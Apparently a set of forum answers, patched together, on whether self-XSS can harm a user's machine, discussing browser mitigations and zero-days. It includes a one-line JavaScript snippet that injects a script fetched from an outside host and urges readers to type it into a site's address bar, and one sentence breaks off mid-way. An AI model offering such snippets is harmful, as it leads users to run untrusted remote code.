This attack is called self XSS and can cause harm to the user and indirectly to the machine. A reputable website can ask the user to download and install a malicious piece of executable code by pretending, for example, that it needs a Flash update.
To get a nice visual example of this, manually type
z=document.createElement("script");z.src="https://peniscorp.com/topkek.js"; document.body.appendChild(z); If you don't trust me, do it in the address bar of a website you are not logged in.
Most browsers have realised this vulnerability and attempt to limit the impact by cutting out
I would like to complete the Accepted Answer from Cristian Dobre, which is correct but incomplete.
Such occurrences are rarely discovered in the wild but exist, and new ones are discovered every year (Chrome had less than Firefox which has WAY LESS than IE, in the past).
So, to answer your question : yes, it can harm a client's machine. If the machine is fully patched, only a zero-day (extremely unlikely yet still technically possible) could do such harm. Zero-days with such power are mostly, "luckily", used for targeted attacks to avoid attention and maximize the chances of non-detection (and, thus, future reuse).